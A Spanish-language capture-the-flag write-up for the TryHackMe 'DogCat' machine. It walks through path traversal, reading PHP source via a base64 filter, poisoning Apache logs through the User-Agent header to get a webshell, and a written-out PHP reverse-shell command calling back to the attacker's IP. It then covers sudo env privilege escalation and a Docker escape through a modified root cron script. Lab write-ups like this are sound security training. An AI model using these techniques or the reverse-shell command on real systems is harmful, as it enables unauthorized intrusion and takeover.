DogCat - TryHackMe
SUMMARY
Debemos encontrar 4 banderas en la maquina dogcatvm. Donde a partir del escaneo de puertos de Nmap pude saber que hay un servicio HTTP y SSH.Además, con un script de Nmap supe que hay una página web almacenada en el servidor web, que presentaba la vulnerabilidad Path Trasnversal.Luego, utilizando Burp Suite pude observar el contenido de los archivos de registros del servicio web. Luego, modificando el valor del encabezado User-Agent con la extensión User-Agent Switcher and Manager, y aprovechando el uso de la función include pude ejecutar una reverse shell a través del parámetro GET cmd. De esta manera se obtuvo acceso al sistema destino. Luego, utilizando Linpeas, pude deducir que había obtenido acceso al sistema de un contenedor Docker ejecutado en el sistema destino anfitrión. Luego, para salir del contenedor y obtener acceso al sistema destino anfitrión modifique el contenido de un script, que era una tarea cron ejecutada por el usuario root.
FASE RECONOCIMIENTO
Para resolver este ejercicio empezaremos utilizando el comando openvpn con el fin de establecer una conexion VPN con la red virtual donde esta la maquina dogcatvm. Para ello utilizaremos el archivo de configuracion, que lo podemos descargar en la plataforma de Tryhackme, que puede incluir informacion como la direccion del servidor VPN, los certificados y claves de seguridad, la configuracion de encriptacion, etc.
Luego de que se establece la conexion VPN se crea una interfaz virtual de red en nuestra maquina. Donde se enruta todo el trafico de red a traves de esa interfaz.
Ademas, la plataforma de Tryhackme nos muestra la direccion ip de la maquina dogcatvm.
FASE ESCANEO Y ENUMERACION
Luego pasaremos a la fase de Escaneo y Enumeración con el fin de poder escanear los puertos del nodo. Además, obtendremos los servicios que se han levantado en los puertos abiertos, las versiones de los servicios, y el sistema operativo de la máquina dogcatvm. Para ello utilizaremos Nmap. Donde le pasaremos los siguientes parámetros:
- El parámetro -sC o –script=”default” para utilizar todos los scripts de la categoría default con el fin de realizar un escaneo y detección de los puertos de manera avanzada.
- El parámetro -sV con el fin de conocer las versiones de los servicios levantados en los puertos abiertos.
- El parámetro -n para evitar la resolución DNS, y el parámetro –max-rate para indicarle el número máximo de paquetes por segundo que va a utilizar Nmap para el escaneo con el fin de evitar sobrecargar la red con el tráfico generado por la herramienta.
- El parámetro -p- para realizar un escaneo de los 65535 puertos del nodo y el parámetro –open con el fin de que nos muestre información solo de los puertos abiertos.
Los resultados que obtuvimos del escaneo vienen a ser:
- Hay un servicio HTTP levantado en el puerto 80 y el programa servidor HTTP que se está corriendo. Además, la versión del programa servidor HTTP.
- A partir del script http-tittle.nse de Nmap llegamos a saber que hay una página web que se aloja en el servidor web, que se utilizando el puerto 8080.
- Hay un servicio SSH, que esta levantado en el puerto 22, y el programa servidor SSH que se está corriendo. Además, la versión del programa servidor SSH.
Ahora observaremos la página web alojada en el servidor web del sistema destino, que llegamos a encontrar con el script de Nmap, desde mi navegador web
Podemos observar que la página web presenta dos botones cuyos atributos de referencia apuntan al parámetro GET view de tal manera que al hacer clic en uno de los botones me aparecerá una imagen, que va a estar contenida en el directorio dogs o cats dependiendo del botón apretado.
FASE GANAR ACCESO O EXPLOTACION O HACKING
Ahora pondremos a prueba si el sitio web presenta la vulnerabilidad Path Transversal. Para ello utilizaremos los puntos dobles(o ../) para movernos al directorio raíz / del sistema objetivo. Luego, digitaremos las rutas de archivos importantes del sistema objetivo como /etc/passwd, /etc/shadow, /proc/version con el fin de observar su contenido a través del navegador web
Podemos observar que llegamos a obtener un mensaje de error. Donde podemos deducir que el sitio web utiliza un archivo PHP llamado index.php. Donde lo más probable es que este archivo PHP utilice alguna función como include, require, include_once y require_once, para ejecutar contenido de los archivos JPG almacenados en el directorio /dogs y /cats y mostrar su salida HTML a través del navegador web.Además, podemos observar se ha indexado la extensión php al final de la ruta que ingresamos como valor en el parámetro GET view.
Ahora intentaremos observar el contenido del archivo index.php suponiendo que este almacenado en el directorio, que contiene al subdirectorio dog, y que podría ser html. Además, debemos utilizar el filtro PHP convert.base64-encode ya que el contenido de un archivo PHP es interpretado por el servidor web y su resultado HTML es mostrado en navegador web mas no su código fuente. Por lo tanto, al utilizar este filtro PHP vamos a codificar el contenido del archivo PHP y luego mostrarlo en el navegador como una cadena de texto codificado en base64.
Podemos observar que llegamos a obtener una cadena de caracteres codificado en base64, que viene a ser el contenido del archivoindex.php codificado en base64.
Ahora decodificaremos la cadena de caracteres para observar el contenido del archivo index.php.
Podemos observar en el codigo del archivo PHP, que verificara si el parámetro GET ext esta presente en la URL que digitamos, y si ext está presente, se almacenara el valor del parametro GET ext en la variable $ext; de lo contrario, se establece $ext en ‘.php’ por defecto. Ademas, se utilizara la funcion include para ejecutar el archivo, cuyo nombre va estar compuesto por el valor de la variable $ext y del valor parametro GET view, y se mostrara su salida HTML en el navegador web.
Podriamos intentar utilizar los NULL BYTES al final de la URL ( http://10.10.169.97/?view=dog/../../../../etc/passwd) para evitar la extension PHP, que se agregaria cuando no especifiamos el parametro GET ext en la URL., pero utilizando Wappalyzer podemos observar que el sitio web utiliza PHP en su version 7.4.3. Donde la vulnerabilidad de los NULL BYTES ha sido corregida.
Por esta razon especificaremos el parametro GET ext sin ningun valor para que no se agrege ninguna extension al archivo que queremos visualizar a traves del navegador web.
De esta manera podemos observar el contenido del archivo /etc/passwd del sistema objetivo mediante la vulnerabilidad Path Transversal.
Ahora utilizaremos el servidor Proxy de Burp Suite para interceptar la solicitud GET realizada hacia al servidor web para obtener el contenido del archivo /etc/passwd. Además, enviaremos nuestra solicitud hacia el módulo Intruder de Burp Suite con el fin de realizar un ataque Sniper sobre la ruta /etc/passwd con el fin de probar con diferentes rutas de archivos importantes que puede haber en un sistema.
Observamos que podemos acceder al contenido de los archivos: /var/log/apache2/error.log, /var/log/apache2/access.log del sistema objetivo a través de la vulnerabilidad Path Transversal. Además, en el contenido de los registros de acceso se muestran el valor del encabezado User-Agent de las diferentes solicitudes GET que realizamos hacia el sitio web a través del parámetro GET view
Ahora teniendo en cuenta que podemos acceder a los registros de acceso del servidor web, podemos modificar el valor del encabezado User-Agent a un código PHP, que me permita ejecutar comando en el sistema objetivo a través del parámetro GET cmd, es decir, una webshell. El código PHP se ejecutará cuando a través del parámetro GET view realizamos una solicitud GET HTTP, con el encabezado User-Agent modificado, hacia el sitio web con el fin de que quede registrado en el archivo de registro de acceso del sistema objetivo. Luego, accederemos al registro de acceso a través del parámetro GET view con el fin de que la función include, del archivo index.php, ejecute el contenido del registro de acceso y nos muestre su salida HTML a través del navegador web.
Además, para modificar el valor del encabezado User-Agente utilizaremos la extensión User-Agent Switcher and Manager.
Podemos observar que ya podemos ejecutar comandos remotos en el sistema objetivo a través de la webshell.
Ahora comprobaremos si el sistema objetivo tiene el archivo binario ejecutable php con el fin de ejecutar un comando, que me genere una reverse Shell.
Podemos observar la ruta del archivo binario ejecutable php. Por lo tanto, si lo tiene instalado el sistema objetivo.
Ahora ingresaremos el comando php -r ‘$sock=fsockopen(“10.8.123.194”,1500);shell_exec(“bash <&3 >&3 2>&3”);’ como valor en el parámetro GET cmd de nuestra webshell , que nos debería generar una reverse Shel, pero antes lo codificaremos utilizando la codificación URL mediante el módulo Decoder de Burp Suite para que nuestro comando este en un formato compatible a la URL.
Además, antes de ingresar el comando codificado en la URL, debemos habilitar el puerto 1500 para que este en escucha esperando la conexión entrante generada por el comando anterior.
Ahora si ingresaremos el comando codificado como valor en el parametro GET cmd.
De esta manera llegamos obtener acceso al sistema objetivo siendo el usuario www-data.
Además, podemos observar que al usuario www-data se le ha configurado para que utilice la Shell nologin cuando inicie sesión en el sistema destino. Esta Shell no es interactiva ni estable. Por lo tanto, realizaremos un tratamiento de la tty para tener una Shell estable e interactiva.
FASE ESCALADA DE PRIVILEGIOS
Ahora debemos buscar un vector de escalada de privilegios con el fin de ser un usuario con privilegios más elevados. Para ello enumeraremos los comandos y programas que puede ejecutar el usuario www-data con los privilegios de otros usuarios.
Podemos observar que el usuario www-data puede ejecutar el archivo binario ejecutable env con los privilegios del usuario root sin la necesidad de proveer credenciales. Además, debemos saber que archivo binario es utilizado para ejecutar scripts o comandos con sus argumentos, con un intérprete de comandos especifico como zsh o bash.
Teniendo en cuenta esto ejecutaremos una Shell bash utilizando el archivo binario ejecutable env y con el comando sudo para que la Shell generada tengo los privilegios del usuario root.
De esta manera llegamos a ser el usuario root mediante una escalada de privilegios vertical.
Ademas, si ejecutamos una herramienta automatizada como linpeas para buscar vectores de escalada de privilegios en el sistema objetivo, nos enumerara informacion sobre un contenedor Docker. Por lo tanto, hemos logrado tener acceso a un conteneder Docker donde se esta ejecutando un servidor web, que aloja la aplicación web observada anteriomrnete.
Ahora realizaremos una enumeración manual sobre los directorios del sistema del contenedor con el fin de buscar una forma de salir del contenedor y poder interactuar con el sistema objetivo.
Podemos observar que llegamos a encontrar un directorio llamado backups, que contiene un archivo tar y un script. Además, cuando el script se ejecute, va a comprimir todos los archivos del directorio container en el archivo backup.tar. Además, observando el directorio root en el sistema del contenedor, podemos deducir que este directorio root no es el que se especifica en el script backup ya que no contiene el directorio container. Por lo tanto, lo más probable es que esto sea un script que se está ejecutando en el sistema destino mas no en el sistema del contenedor.
Además, si descomprimimos el archivo tar, obtendremos los archivos del directorio container, que contiene un script llamado launch, que contiene el comando para ejecutar el contenedor Docker al cual hemos accedido actualmente.
Ahora, supondremos que los scripts launch.sh y backup.sh viene a ser tareas cron configuradas en el sistema destino anfitrión. Por lo tanto, modificaremos su contenido para que me genere una reverse Shell con el fin de salir del sistema del contenedor Docker.
Ahora habilitaremos el puerto 1800 en mi sistema con el fin de que el puerto este en modo listening y esperando las conexiones entrantes. Luego, esperaremos para que el sistema destino ejecute las supuestas tareas cron.
Podemos observar que llegamos salir del contenedor Docker, y obtuvimos acceso al sistema destino anfitrión. Además, si observamos el archivo crontab del usuario root, podemos notar las dos tareas cron que supusimos anteriormente.
Ahora buscaremos los cuatros banderos contenidas en diferentes archivos en el sistema destino.
